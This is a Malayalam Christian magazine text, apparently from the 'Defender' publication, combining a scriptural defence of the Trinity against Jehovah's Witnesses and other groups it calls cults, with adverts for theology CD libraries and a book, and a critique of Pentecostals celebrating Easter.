തികച്ചും ലളിതമായ ഒരു കർമ്മത്തെ സങ്കീർണ്ണമാക്കുകയാണ് നാം ചെയ്യുന്നത്. കർത്താവിന്റെ ക്രൂശ് മരണത്തെ ഓർക്കാനായി നടത്തപ്പെടുന്ന ഒരു കർമ്മമാണിത്. അപ്പം നുറുക്കപ്പെടുമ്പോൾ കർത്താവിന്റെ ശരീരം നുറുക്കപ്പെട്ട സംഭവം നാം ഓർക്കണം. പാനപാത്രത്തിലെ വീഞ്ഞു കാണുമ്പോൾ കർത്താവ് നമുക്കുവേണ്ടി രക്തം ചൊരിഞ്ഞ സംഭവം നമ്മുടെ ഓർമ്മയിലെത്തണം. പലരായ നാം തിരുവത്താഴത്തിലൂടെ ഒന്നായിത്തീരുകയാണു ചെയ്യുന്നത്. ദൈവസഭ ഒരു ശരീരമാണെന്നും നാം അന്യോന്യം അവയവങ്ങളാണെന്നും ഉള്ള വസ്തുത തിരുവത്താഴത്തിലൂടെ വ്യക്തമാകുന്നു.

അയോഗ്യമായി തിരുവത്താഴത്തിൽ പങ്കെടുക്കുന്നവർ കർത്താവിനെ അവഹേളിക്കുകയാണു ചെയ്യുന്നത്. അതുകൊണ്ട് അവർ ദൈവകോപത്തിന് ഇരയായിത്തീരുന്നു. പക്ഷേ തിരുവത്താഴത്തിൽ പങ്കെടുക്കുന്നതിലൂടെ രോഗശാന്തി ഉണ്ടാകുമെന്നു ദൈവവചനം പറയുന്നില്ല.


# വീട്ടിൽ ഒരു റഫറൻസ് ലൈബ്രറി

നിങ്ങളുടെ വീട്ടിലും ഒരു റഫറൻസ് ലൈബ്രറി ഒരുക്കാൻ ഇതാ ഒരു സുവർണ്ണാവസരം. 1500ൽ അധികം പുസ്തകങ്ങൾ. നാലു ലക്ഷത്തിൽ അധികം പേജുകൾ. പി.ഡി.എഫ് ഫോർമാറ്റിലുള്ള 40 സി.ഡികൾ. ട്രിനിറ്റി സ്കൂൾ പുറത്തിറക്കിയിരിക്കുന്ന ഈ ക്ലാസിക്കൽ ഡിജിറ്റൽ ലൈബ്രറി ഡിഫെൻഡർ ഓഫീസിൽ നിന്നും വിതരണം ചെയ്യുന്നു.

ആകെ 1500ൽ അധികം പുസ്തകങ്ങൾ ഉള്ളതിനാൽ ഓരോ പുസ്തകത്തേക്കുറിച്ചും പ്രത്യേകമായി പറയാൻ ബുദ്ധിമുട്ടുണ്ട്. ക്രിസ്തീയലോകത്ത് ക്ലാസിക്കുകളായി അംഗീകാരം നേടിയിട്ടുള്ളവയാണ് എല്ലാ പുസ്തകങ്ങളും എന്ന് പൊതുവായി പറയാം. ഇവയിൽ നല്ലൊരു പങ്ക് ഇപ്പോൾ വിലയ്ക്ക് വാങ്ങാൻ പോലും കിട്ടുകയില്ല. ഭൂരിപക്ഷം പുസ്തകങ്ങളും ഒറിജിനൽ പുസ്തകങ്ങളിൽ നിന്നു സ്കാൻ ചെയ്ത് പി.ഡി.എഫ് ഫോർമാറ്റിൽ ആക്കിയിരിക്കുന്നു. എല്ലാം കൂടി നാലുലക്ഷത്തിൽ അധികം പേജുകൾ. പുസ്തക രൂപത്തിൽ വാങ്ങിയാൽ 10 ലക്ഷം രൂപയെങ്കിലും ചെലവാകും. എങ്കിലും 40 സി.ഡികൾ അടങ്ങുന്ന ഒരുസെറ്റ് ഇപ്പോൾ സൗജന്യ വിലയായ 1900 രൂപയ്ക്കു ലഭിക്കും.

# ലൈബ്രറി ഓഫ് തിയോളജി

വേദവിദ്യാർത്ഥികളുടെ ഉപയോഗത്തിനുവേണ്ടി ഉണ്ടാക്കിയിട്ടുള്ളതാണ് ഈ സി.ഡികൾ. അതുകൊണ്ടാണ് ലൈബ്രറി ഓഫ് തിയോളജി എന്നു പേരിട്ടിരിക്കുന്നത്. പുസ്തകങ്ങളെ 10 ഇനങ്ങളായി തരം തിരിച്ചിരിക്കുന്നു. 1. പഴയനിയമം. 2. പുതിയനിയമം. 3. തിയോളജി. 4. എത്തിക്സ്. 5. ഹിസ്റ്ററി. 6. റിലീജിയൻസ്. 7. മിനിസ്ട്രി. 8. കൾട്ടും ഒക്കൾട്ടും. 9. ജീവചരിത്രങ്ങളും ആത്മകഥകളും. 10. പലവക. ആയിരക്കണക്കിനു രൂപ വിലവരുന്ന പുസ്തകങ്ങളും അത്യപൂർവ്വ ഗ്രന്ഥങ്ങളും ഈ ഡിജിറ്റൽ ലൈബ്രറിയിലുണ്ട്. ഇതാ ചില സാമ്പിളുകൾ:

ജോസീഫസിന്റെ സമ്പൂർണ്ണ കൃതികൾ, ബൈബിളിലെ ഓരോ പുസ്തകത്തിന്റേയും വ്യാഖ്യാനങ്ങൾ, തൽമൂദുകൾ, ചാവുകടൽ ചുരുളുകൾ, വിവിധ ഡിക്ഷ്ണറികൾ, ഹാനോക്കിന്റെ പുസ്തകം ഉൾപ്പെടെയുള്ള അത്യപൂർവ്വ അപ്പോക്രിഫൽ പുസ്തകങ്ങൾ, പ്രശസ്ത ദൈവശാസ്ത്രഗ്രന്ഥങ്ങൾ, സോക്രട്ടീസ്-പ്ലേറ്റോ-അരിസ്റ്റോട്ടിൽ തുടങ്ങിയവരുടെ പുസ്തകങ്ങൾ, അപൂർവ്വ ചരിത്ര പുസ്തകങ്ങൾ, വേദങ്ങൾ, ഖുറാൻ, ത്രിപിടിക, സെന്റ് അവസ്ത, സാത്താനിക് ബൈബിൾ, പ്രാചീന നിഗൂഢ മതങ്ങളെ സംബന്ധിക്കുന്ന പുസ്തകങ്ങൾ, മൊർമോൺ പുസ്തകം, കൾട്ടുകളുടെ ആധികാരിക ഗ്രന്ഥങ്ങൾ, ഒക്കൾട്ടുമായി ബന്ധപ്പെട്ട നിരവധി പുസ്തകങ്ങൾ, പ്രശസ്തരുടെ ജീവചരിത്രങ്ങൾ, ആത്മകഥകൾ ..... ദൈവശാസ്ത്രം ആഴത്തിൽ പഠിക്കാൻ ആഗ്രഹിക്കുന്നവർക്ക് ഈ ഗ്രന്ഥങ്ങൾ ഒഴിവാക്കാനാവില്ല. ആകെ 10 സി.ഡികൾ. വില: 900 രൂപ. പോസ്റ്റേജ് സൗജന്യം.

വീട്ടിൽ ഒരു റഫറൻസ് ലൈബ്രറിക്ക് 1900 രൂപയും ലൈബ്രറി ഓഫ് തിയോളജിക്ക് 900 രൂപയുമാണു വില. (വിദേശത്ത് യഥാക്രമം 80 ഡോളർ, 50 ഡോളർ). എന്നാൽ രണ്ടു സെറ്റുകളും ഒന്നിച്ചു വാങ്ങുന്നവർ 1900+900 =2800ന് പകരം 2500 രൂപ നൽകിയാൽ മതിയാകും. വിദേശത്ത് രണ്ടു സെറ്റുകൾക്കുംകൂടി 100 ഡോളർ മാത്രം. പോസ്റ്റേജ് സൗജന്യം. ഗൾഫിലുള്ളവർ 2500 രൂപയും ഇന്ത്യയിലെ വിലാസവും അയച്ചുതരിക. പണം അയയ്ക്കാനുള്ള വിലാസവും മറ്റും അവസാന പേജിലുള്ള പരസ്യത്തിലുണ്ട്.

# ഇതു ഡിഫെൻഡറിന്റെ വിശ്വാസം

ദൈവവചനത്തെപ്പറ്റി ഡിഫെൻഡർ എന്താണു വിശ്വസിക്കുന്നതെന്നു കഴിഞ്ഞ ലക്കത്തിൽ വ്യക്തമാക്കി. ഈ ലക്കത്തിൽ ദൈവത്തെക്കുറിച്ചു ഡിഫെൻഡർ വിശ്വസിക്കുന്നതെന്ത് എന്നു വിശദീകരിക്കാം:

''നിത്യനായ ഏകസത്യ ദൈവം പിതാവ്, പുത്രൻ, പരിശുദ്ധാത്മാവ് എന്നീ മൂന്ന് ആളത്വങ്ങളിൽ വെളിപ്പെട്ടിരിക്കുന്നു'' എന്നു ഡിഫെൻഡർ വിശ്വസിക്കുന്നു.

ഇതു ഡിഫെൻഡറിന്റെ വിശ്വാസം മാത്രമല്ല ഭൂരിപക്ഷം ക്രൈസ്തവ വിഭാഗങ്ങളുടേയും വിശ്വാസമാണ്. അതുകൊണ്ട് കത്തോലിക്കർ ഉൾപ്പെടെയുള്ള ക്രൈസ്തവ സമുദായങ്ങൾ ഇതിനെ എതിർക്കുകയില്ല. പക്ഷേ ഭൂരിപക്ഷം കൾട്ടുകളും ഡിഫെൻഡറിന്റെ നിലപാടിനോടു വിയോജിക്കും.

യഹോവാസാക്ഷികളുടെ വിശ്വാസമനുസരിച്ച് പിതാവായ ദൈവം മാത്രമാണ് യഹോവയായ ദൈവം. പുത്രൻ യഹോവയുടെ സൃഷ്ടിയാണ്. പരിശുദ്ധാത്മാവ് ദൈവത്തിന്റെ ശക്തി മാത്രമാണ്. ഇതിനോടു സാമ്യമുള്ള വിശ്വാസമാണ് ഭൂരിപക്ഷം കൾട്ടുകളും സ്വീകരിക്കുന്നത്. പക്ഷേ യേശുനാമക്കാരും ബ്രൻഹാമിന്റെ കൾട്ടും മറ്റും യേശു മാത്രമാണു ദൈവമെന്നു പഠിപ്പിക്കുന്നു. പിതാവ്, പുത്രൻ, പരിശുദ്ധാത്മാവ് എന്നിവ യേശുവിന്റെ സ്ഥാനപ്പേരുകളാണ് എന്നത്രേ ഇവരുടെ നിലപാട്. പരിശുദ്ധാത്മാവു മാത്രമാണു ദൈവം എന്നു പഠിപ്പിക്കുന്ന കൾട്ടുകളും ഉണ്ടെന്നു കേട്ടിട്ടുണ്ട്. വിശദാംശങ്ങൾ അറിഞ്ഞുകൂടാ.

പിതാവ്, പുത്രൻ, പരിശുദ്ധാത്മാവ് എന്നിങ്ങനെ മൂന്ന് ആളത്വങ്ങളുള്ള ഏക ദൈവത്തിലാണ് ഡിഫെൻഡർ വിശ്വസിക്കുന്നത്. എത്ര ദൈവമുണ്ട്? ഒരു ദൈവം മാത്രം. ദൈവത്തിൽ എത്ര ആളത്വങ്ങളുണ്ട്? മൂന്ന്. മനുഷ്യബുദ്ധിക്കു പൂർണ്ണമായി ഉൾക്കൊള്ളാനാകാത്ത നിരവധി മാർമ്മിക വിഷയങ്ങൾ ബൈബിളിലുണ്ട്. അവയിൽ ഒന്നാണിത്. എങ്കിലും ഏക ദൈവമേയുള്ളു എന്നും ആ ദൈവത്തിൽ മൂന്ന് ആളത്വങ്ങളുണ്ടെന്നും ദൈവവചനത്തിൽ വ്യക്തമായി പറയുന്നുണ്ട്. ദൈവവചനം വിശ്വസിക്കാൻ തയ്യാറുള്ളവർ ഇതു വിശ്വസിക്കേണ്ടതാണ്.

**ദൈവം ഏകനാണ് എന്നതിനുള്ള തെളിവുകൾ:**

ആകയാൽ മീതെ സ്വർഗ്ഗത്തിലും താഴെ ഭൂമിയിലും യഹോവ തന്നേ ദൈവം, മറ്റൊരുത്തനുമില്ല എന്നു നീ ഇന്ന് അറിഞ്ഞു മനസ്സിൽ വച്ചുകൊള്ളുക. ആവ.4:39

യിസ്രായേലിന്റെ രാജാവായ യഹോവ, അവന്റെ വീണ്ടെടുപ്പുകാരനായ സൈന്യങ്ങളുടെ യഹോവ, ഇപ്രകാരം അരുളിച്ചെയ്യുന്നു: ഞാൻ ആദ്യനും അന്ത്യനും ആകുന്നു; ഞാനല്ലാതെ ഒരു ദൈവവുമില്ല. യെശ.44:6

നീ, നീ മാത്രം യഹോവ ആകുന്നു; നീ ആകാശത്തെയും സ്വർഗ്ഗാധിസ്വർഗ്ഗത്തെയും അവയിലെ സകല സൈന്യത്തെയും ഭൂമിയെയും അതിലുള്ള സകലത്തെയും സമുദ്രങ്ങളെയും അവയിലുള്ള സകലത്തെയും ഉണ്ടാക്കി; നീ അവയെ ഒക്കെയും രക്ഷിക്കുന്നു; ആകാശത്തിലെ സൈന്യം നിന്നെ നമസ്കരിക്കുന്നു. നെഹ.9:6

ഞങ്ങൾ സ്വന്തചെവികൊണ്ടു കേട്ടതൊക്കെയും ഓർത്താൽ യഹോവേ, നിന്നെപ്പോലെ ഒരുത്തനുമില്ല; നീ അല്ലാതെ ഒരു ദൈവവുമില്ല. 1ദിന.17:20

അങ്ങനെ അവർ യഹോവ എന്നു നാമമുള്ള നീ മാത്രം സർവ്വഭൂമിക്കും മീതേ അത്യുന്നതൻ എന്ന് അറിയും. സങ്കീ.83:18

ദൈവം ഏകനാണെന്നു തെളിയിക്കാൻ ഇങ്ങനെ നിരവധി വാക്യങ്ങളുണ്ട്. എന്നാൽ ദൈവം ഏകനാണ് എന്ന വസ്തുത മിക്കവരും ചോദ്യം ചെയ്യാത്തതുകൊണ്ട് ഈ വിഷയം ഇതിൽ അധികം നീട്ടുന്നില്ല.

ഏകനായ ദൈവത്തിൽ മൂന്ന് ആളത്വങ്ങളുണ്ടോ എന്ന വിഷയം ഏറെ വിവാദങ്ങൾക്കു വഴി വച്ചിട്ടുണ്ട്. ത്രിത്വം എന്നൊന്നില്ല എന്നു വാദിക്കുന്ന കൾട്ടുകൾ ദൈവം ഏകൻ മാത്രമാണെന്നും ദൈവം ത്രിത്വമല്ലെന്നും ശഠിക്കും. എങ്കിലും ഈ കൾട്ടുകൾ തമ്മിലും ചില അഭിപ്രായ വ്യത്യാസങ്ങൾ നിലവിലുണ്ട്.

യഹോവാസാക്ഷികളും മറ്റു ചില കൾട്ടുകളും പിതാവായ ദൈവം മാത്രമാണു ദൈവമെന്നും യഹോവ എന്നതു പിതാവു മാത്രമാണെന്നും വാദിക്കും. പക്ഷേ യേശുനാമക്കാരും മറ്റു ചിലരും യേശുവാണ് ഏകദൈവം എന്നത്രേ പഠിപ്പിക്കുന്നത്. എന്നാൽ ബൈബിൾ ഇതേപ്പറ്റി എന്തു പറയുന്നു എന്നു ചുരുക്കിപ്പറയാം.

ത്രിത്വം ഉണ്ടോ, ത്രിത്വത്തിലെ ഓരോ ആളത്വവും ദൈവമാണോ, യഹോവ എന്നതു പിതാവായ ദൈവത്തിനു മാത്രമുള്ള പേരാണോ, പുത്രൻ പിതാവിന്റെ സൃഷ്ടിയാണോ, പരിശുദ്ധാത്മാവ് വ്യക്തിയാണോ തുടങ്ങിയ വിഷയങ്ങളൊക്കെ പഠനവിധേയമാക്കേണ്ടതുണ്ട്. എങ്കിലും വളരെ വിശദമായ ഒരു പഠനം നടത്താൻ സ്ഥലപരിമിതി അനുവദിക്കുന്നില്ല. അതുകൊണ്ട് പ്രധാനപ്പെട്ട വിഷയങ്ങൾ മാത്രം പറയാം.

**ത്രിത്വം ഉണ്ടോ?**

പിതാവ്, പുത്രൻ, പരിശുദ്ധാത്മാവ് എന്നിങ്ങനെ മൂന്ന് ആളത്വങ്ങൾ ഉണ്ടോ എന്ന വിഷയമാണ് ആദ്യം പരിശോധിക്കുന്നത്. താഴെ പറയുന്ന വാക്യങ്ങൾ ശ്രദ്ധിക്കുക. ഈ വാക്യങ്ങളിലെല്ലാം ത്രിത്വം വെളിപ്പെടുന്നു.

യേശു സ്നാനം ഏറ്റ ഉടനെ വെള്ളത്തിൽനിന്ന് കയറി; അപ്പോൾ സ്വർഗ്ഗം തുറന്ന് ദൈവാത്മാവ് പ്രാവെന്നപോലെ ഇറങ്ങി തന്റെ മേൽ വരുന്നത് അവൻ കണ്ടു; ''ഇവൻ എന്റെ പ്രിയപുത്രൻ; ഇവനിൽ ഞാൻ പ്രസാദിച്ചിരിക്കുന്നു'' എന്ന് സ്വർഗ്ഗത്തിൽനിന്ന് ഒരു ശബ്ദവും ഉണ്ടായി. മത്താ. 3:16,17

ആകയാൽ നിങ്ങൾ പുറപ്പെട്ട്; പിതാവിന്റെയും പുത്രന്റെയും പരിശുദ്ധാത്മാവിന്റെയും നാമത്തിൽ സ്നാനം കഴിപ്പിച്ചും.... മത്താ. 28:19.

കർത്താവായ യേശുക്രിസ്തുവിന്റെ കൃപയും ദൈവത്തിന്റെ സ്നേഹവും പരിശുദ്ധാത്മാവിന്റെ കൂട്ടായ്മയും നിങ്ങളെല്ലാവരോടുംകൂടെ ഇരിക്കുമാറാകട്ടെ. 2കൊരി.13:14.

ഇങ്ങനെ നിരവധി വാക്യങ്ങളിൽ ത്രിത്വം വെളിപ്പെടുന്നുണ്ട്. പക്ഷേ ത്രിത്വനിഷേധികൾ ഈ വാക്യങ്ങളെല്ലാം ദുർവ്യാഖ്യാനം ചെയ്ത് സാധുക്കളെ വഞ്ചിക്കുന്നു. പുത്രൻ ദൈവമല്ലെന്നോ പരിശുദ്ധാത്മാവു ശക്തിയാണെന്നോ ഒക്കെ അവർ പഠിപ്പിക്കും. പിതാവെന്നതു സ്ഥാനപ്പേരു മാത്രമാണെന്നും അതുകൊണ്ട് പിതാവ് എന്നതു പുത്രൻ തന്നെയാണെന്നും വരെ ഇത്തരക്കാർ പറഞ്ഞുവയ്ക്കും. പക്ഷേ ദൈവത്തിനു മാത്രം അവകാശപ്പെടാൻ കഴിയുന്ന സ്വഭാവ വിശേഷങ്ങളും പ്രത്യേകതകളും പിതാവ്, പുത്രൻ, പരിശുദ്ധാത്മാവ് എന്നീ മൂന്ന് ആളത്വങ്ങൾക്കും യോജിക്കുന്നതാണ് എന്ന വസ്തുത ഇക്കൂട്ടർ വിസ്മരിക്കുന്നു. ഈ വിഷയം അല്പംകൂടി വിശദമായി പഠനവിധേയമാക്കാം:

**നിത്യൻ**

പിതാവു നിത്യനാണ്.

പർവ്വതങ്ങൾ ഉണ്ടായതിനും നീ ഭൂമിയെയും ഭൂമണ്ഡലത്തെയും നിർമ്മിച്ചതിനും മുമ്പേ നീ അനാദിയായും ശാശ്വതമായും ദൈവം ആകുന്നു. സങ്കീ.90:2.

പുരാതനനായ ദൈവം നിന്റെ സങ്കേതം; കീഴെ ശാശ്വതഭുജങ്ങൾ ഉണ്ട്; അവൻ ശത്രുവിനെ നിന്റെ മുമ്പിൽനിന്നു നീക്കിക്കളഞ്ഞു സംഹരിക്കുക എന്നു കല്പിച്ചിരിക്കുന്നു. ആവ.33:27

പുത്രൻ നിത്യനാണ്.

യേശു പറയുന്നു: ഞാൻ അല്ഫയും ഓമേഗയും, ഒന്നാമനും ഒടുക്കത്തവനും, ആദിയും അന്തവും ആകുന്നു. വെളി.22:13

പരിശുദ്ധാത്മാവു നിത്യനാണ്

....ജഡികശുദ്ധി വരുത്തുന്നു എങ്കിൽ, നിത്യാത്മാവിനാൽ ദൈവത്തിനു തന്നെത്താൻ നിഷ്കളങ്കനായി അർപ്പിച്ച ക്രിസ്തുവിന്റെ രക്തം ജീവനുള്ള ദൈവത്തെ ആരാധിക്കുവാൻ നിങ്ങളുടെ മനസ്സാക്ഷിയെ നിർജ്ജീവപ്രവൃത്തികളെ പോക്കി എത്ര അധികം ശുദ്ധീകരിക്കും? എബ്രാ.9:14.

**പരിശുദ്ധൻ**

പിതാവു പരിശുദ്ധനാണ്

ഇരിക്കുന്നവനും ഇരുന്നവനും വരുന്നവനുമായി സർവ്വശക്തിയുള്ള കർത്താവായ ദൈവം പരിശുദ്ധൻ, പരിശുദ്ധൻ, പരിശുദ്ധൻ എന്ന് അവർ രാപകൽ വിശ്രമം കൂടാതെ പറഞ്ഞു കൊണ്ടിരിക്കുന്നു. വെളി.4:8

പുത്രൻ പരിശുദ്ധനാണ്

പരിശുദ്ധനും നീതിമാനുമായവനെ നിങ്ങൾ തള്ളിപ്പറഞ്ഞു, കൊലപാതകനായവനെ വിട്ടുതരണം എന്നു ചോദിച്ചു, ജീവനായകനെ കൊന്നുകളഞ്ഞു. പ്രവൃ.3:14.

ദൈവാത്മാവു പരിശുദ്ധനാണ്

നിങ്ങളോ പരിശുദ്ധനാൽ അഭിഷേകം പ്രാപിച്ചു സകലവും അറിയുന്നു. 1യോഹ.2:20

**സർവ്വവ്യാപി**

പിതാവു സർവ്വവ്യാപിയാണ്

ഞാൻ കാണാത്തവണ്ണം ആർക്കെങ്കിലും മറയത്ത് ഒളിക്കുവാൻ കഴിയുമോ? എന്നു യഹോവയുടെ അരുളപ്പാട്; ഞാൻ ആകാശവും ഭൂമിയും നിറഞ്ഞിരിക്കുന്നവനല്ലയോ എന്നു യഹോവയുടെ അരുളപ്പാട്. യിരെ.23:24

പുത്രൻ സർവ്വവ്യാപിയാണ്

രണ്ടോ മൂന്നോ പേര് എന്റെ നാമത്തിൽ കൂടിവരുന്നിടത്തൊക്കെയും ഞാൻ അവരുടെ നടുവിൽ ഉണ്ട് എന്നും ഞാൻ നിങ്ങളോടു പറയുന്നു. മത്താ.18:20

ദൈവാത്മാവു സർവ്വവ്യാപിയാണ്

നിന്റെ ആത്മാവിനെ ഒളിച്ചു ഞാൻ എവിടേക്കു പോകും? തിരുസന്നിധി വിട്ടു ഞാൻ എവിടേക്ക് ഓടും? സങ്കീ.139:7

**സർവ്വശക്തൻ**

പിതാവു സർവ്വശക്തനാണ്

അബ്രാമിനു തൊണ്ണൂറ്റൊമ്പതു വയസ്സായപ്പോൾ യഹോവ അബ്രാമിനു പ്രത്യക്ഷനായി അവനോട്: ഞാൻ സർവ്വശക്തിയുള്ള ദൈവം ആകുന്നു; നീ എന്റെ മുമ്പാകെ നടന്നു നിഷ്കളങ്കനായിരിക്കുക. ഉല്പ.17:1

പുത്രൻ സർവ്വശക്തനാണ്

ഞാൻ അല്ഫയും ഓമേഗയും ആകുന്നു എന്ന് ഇരിക്കുന്നവനും ഇരുന്നവനും വരുന്നവനുമായി സർവ്വശക്തിയുള്ള ദൈവമായ കർത്താവ് അരുളിച്ചെയ്യുന്നു. വെളി.1:8

ദൈവാത്മാവു സർവ്വശക്തനാണ്

ക്രിസ്തു, ഞാൻ മുഖാന്തരം ജാതികളുടെ അനുസരണത്തിനായി വചനത്താലും പ്രവൃത്തിയാലും അടയാളങ്ങളുടെയും അത്ഭുതങ്ങളുടേയും ശക്തികൊണ്ടും പരിശുദ്ധാത്മാവിന്റെ ശക്തികൊണ്ടും പ്രവർത്തിച്ചത് അല്ലാതെ മറ്റൊന്നും മിണ്ടുവാൻ ഞാൻ തുനിയുകയില്ല. റോമ.15:18.

**സർവ്വജ്ഞത**

പിതാവു സർവ്വജ്ഞനാണ്

......ഇത് പൂർവ്വ കാലം മുതൽ അറിയിക്കുന്ന കർത്താവ് അരുളിച്ചെയ്യുന്നു എന്നു എഴുതിയിരിക്കുന്നുവല്ലോ. പ്രവൃ.15:18

പുത്രൻ സർവ്വജ്ഞനാണ്

കർത്താവേ, നീ സകലവും അറിയുന്നു; എനിക്കു നിന്നോടു പ്രിയമുണ്ട് എന്നും നീ അറിയുന്നു എന്ന് അവനോടു പറഞ്ഞു. യോഹ.21:17.

ആത്മാവു സർവ്വജ്ഞനാണ്

നമുക്കോ ദൈവം തന്റെ ആത്മാവിനാൽ വെളിപ്പെടുത്തിയിരിക്കുന്നു; ആത്മാവു സകലത്തെയും ദൈവത്തിന്റെ ആഴങ്ങളെയും ആരായുന്നു. 1കൊരി. 2:10

**സ്രഷ്ടാവ്**

പിതാവു സ്രഷ്ടാവാണ്

ആദിയിൽ ദൈവം ആകാശവും ഭൂമിയും സൃഷ്ടിച്ചു. ഉല്പ.1:1

പുത്രൻ സ്രഷ്ടാവാണ്

സകലവും അവൻ മുഖാന്തരം ഉളവായി; ഉളവായത് ഒന്നും അവനെ കൂടാതെ ഉളവായതല്ല. യോഹ.1:3

ആത്മാവു സ്രഷ്ടാവാണ്

ദൈവത്തിന്റെ ആത്മാവ് എന്നെ സൃഷ്ടിച്ചു; സർവ്വശക്തന്റെ ശ്വാസം എനിക്ക് ജീവനെ തരുന്നു. ഇയ്യോ.33:4.

**പരിശുദ്ധാത്മാവു വ്യക്തിയാണ്**

പരിശുദ്ധാത്മാവു വ്യക്തിയോ ശക്തിയോ എന്നതും തർക്കവിഷയമാകാറുണ്ട്. ദൈവാത്മാവു ശക്തിയല്ല, വ്യക്തിയാണ് എന്നു താഴെ പറയുന്ന വാക്യങ്ങൾ തെളിയിക്കുന്നു:

ദൈവാത്മാവു സംസാരിക്കുന്നു:

...ത്യജിക്കും എന്ന് ആത്മാവു തെളിവായി പറയുന്നു. 1തിമോ.4:1

ആത്മാവ് ഫിലിപ്പൊസിനോട് നീ അടുത്തുചെന്നു തേരിനോടു ചേർന്നു നടക്കുക എന്നു പറഞ്ഞു. പ്രവൃ.8:29

ഉപദേശിക്കുന്നു....

എങ്കിലും പിതാവ് എന്റെ നാമത്തിൽ അയയ്ക്കുവാനുള്ള പരിശുദ്ധാത്മാവ് എന്ന കാര്യസ്ഥൻ നിങ്ങൾക്കു സകലവും ഉപദേശിച്ചുതരുകയും ഞാൻ നിങ്ങളോടു പറഞ്ഞത് ഒക്കെയും നിങ്ങളെ ഓർമ്മപ്പെടുത്തുകയും ചെയ്യും. യോഹ.14:26

സാക്ഷ്യം പറയുന്നു....

സത്യാത്മാവ് വരുമ്പോൾ അവൻ എന്നെക്കുറിച്ചു സാക്ഷ്യം പറയും. യോഹ.15:26-27

വിലക്കുന്നു.......

ആസ്യയിൽ വചനം പ്രസംഗിക്കരുതെന്നു പരിശുദ്ധാത്മാവ് വിലക്കുകയാൽ... പ്രവൃ.16:6

പരിശുദ്ധാത്മാവ് ഒരു വ്യക്തിയാണെന്നു തെളിയിക്കാൻ ഇങ്ങനെ നിരവധി വാക്യങ്ങളുണ്ട്. എങ്കിലും ഇവയൊക്കെ അവഗണിച്ചുകൊണ്ട് വേദവിപരീതം പഠിപ്പിക്കുന്നവരുമുണ്ട്. ഈ ലോകത്തിന്റെ ദൈവം ഇത്തരക്കാരുടെ കണ്ണു കുരുടാക്കിയിരിക്കയാണ്. അങ്ങനെയുള്ളവരെ പഠിപ്പിക്കാൻ മിനക്കെടുന്നതു ചീമുട്ടയ്ക്ക് അടയിരിക്കുന്നതുപോലെയാണ്. ഇത്തരക്കാരെ അവഗണിക്കുക.


## 'മരിച്ചവർ എവിടെ' വില്പന തുടരുന്നു

''മരിച്ചവർ എവിടെ'' എന്ന പുസ്തകത്തിന്റെ വില്പന തുടരുന്നു. കുറഞ്ഞത് 100 രൂപയെങ്കിലും വിലയിടാവുന്ന ഈ പുസ്തകം ഉല്പാദനച്ചെലവായ 30 രൂപയ്ക്കാണ് വിൽക്കുന്നത്. പുസ്തകം നേരിൽ വാങ്ങുന്നവർ 30 രൂപ തന്നാൽ മതിയാകും. ഇന്റർനെറ്റ് കണക്ഷനുള്ളവർക്ക് പുസ്തകം ഇന്റർനെറ്റിൽ നിന്ന് സൗജന്യമായി ഡൗൺ ലോഡ് ചെയ്യാവുന്നതാണ്. വിലാസം: www.tsbalan.com

പോസ്റ്റിൽ ലഭിക്കുവാൻ പോസ്റ്റേജ് അടക്കം (ഇന്ത്യയിൽ) നൽകേണ്ട വില താഴെ കൊടുക്കുന്നു:

ഒരു കോപ്പി- 50 രൂപ. രണ്ടു കോപ്പി- 90 രൂപ. അഞ്ചു കോപ്പി- 180 രൂപ. പത്തു കോപ്പി- 350 രൂപ. പത്തിൽ അധികം കോപ്പികൾ ആവശ്യമുള്ളവർ 30 രൂപ നിരക്കിൽ പുസ്തകത്തിന്റെ വിലയും 50 രൂപ പോസ്റ്റേജും നൽകിയാൽ മതിയാകും.

പുസ്തകം ആവശ്യമുള്ളവർ പേര്, പൂർണ്ണമായ വിലാസം, ഫോൺ നമ്പർ, ഏറ്റവും പരിചയമുള്ള കുറിയർ കമ്പനിയുടെ പേര് എന്നിവ അറിയിക്കണം. ചെറിയ തുകകൾ മണിയോർഡറായി അയയ്ക്കുക. ചെക്ക് അയയ്ക്കുന്നവർ 25 രൂപ ബാങ്ക് കമ്മീഷൻ ചേർത്ത് അയയ്ക്കുക. ഡ്രാഫ്റ്റുകൾ പെരുമ്പാവൂരിൽ മാറത്തക്കവിധം അയയ്ക്കുക. ചെക്കുകൾ, ഡ്രാഫ്റ്റുകൾ തുടങ്ങിയവ റ്റി.എസ്. ബാലൻ എന്ന പേരിൽ എടുക്കുക.

പണം അയയ്ക്കേണ്ട വിലാസം:

**T.S.Balan, Anand Bhavan, Near: KSRTC, Perumbavoor P.O., Ernakulam Dist. Pin. 683542. Phone: 0484-3232356. Mob: 96564 32921**

# ഈസ്റ്റർ ഇഷ്ടാറിന്റെ ഉത്സവം

ക്രിസ്തുമസ്സ്, ഈസ്റ്റർ തുടങ്ങിയവ ആഘോഷിക്കുന്ന പതിവ് പെന്തക്കോസ്തുകാർക്കില്ല. ഇവയൊക്കെ പാഗൺ മതത്തിൽ നിന്നു പട്ടത്വ സഭകൾ കടം കൊണ്ടവയാണെന്ന നിലപാടാണു ദൈവമക്കൾ സ്വീകരിച്ചിട്ടുള്ളത്. പക്ഷേ അടുത്ത കാലത്തായി ഈ സ്ഥിതിക്കു മാറ്റം വന്നുകൊണ്ടിരിക്കയാണ്. പെന്തക്കോസ്തുകാരിൽ ചിലരെങ്കിലും ഇപ്പോൾ ക്രിസ്തുമസ്സും ഈസ്റ്ററും മറ്റും ആഘോഷിക്കുന്നുണ്ട്. ഉദാഹരണത്തിന്, മരുപ്പച്ച ദ്വൈവാരികയുടെ മാർച്ച് 20 ലക്കം ഒന്നാം പേജിൽ തന്നെ ഈസ്റ്റർ ആശംസ പ്രസിദ്ധീകരിച്ചിരിക്കുന്നു. ഇതു പ്രസിദ്ധീകരിച്ച അച്ചൻകുഞ്ഞ് ഇലന്തൂർ ഐ.പി.സിയുടെ കേരള സ്റ്റേറ്റ് കൗൺസിൽ അംഗമാണെന്നോർക്കണം. മഹതിയാം ബാബിലോൺ എഴുതിയ പാസ്റ്റർ കെ.ഇ.ഏബ്രഹാം നേതൃത്വം നൽകിയിരുന്ന ഐ.പി.സിയിലെ ഒരു കൗൺസിൽ അംഗം തന്നെ ഈസ്റ്റർ ആശംസ നേരുന്നു. ഐ.പി.സി ഇപ്പോൾ എവിടെ നിൽക്കുന്നു എന്നതിന്റെ തെളിവാണിത്.

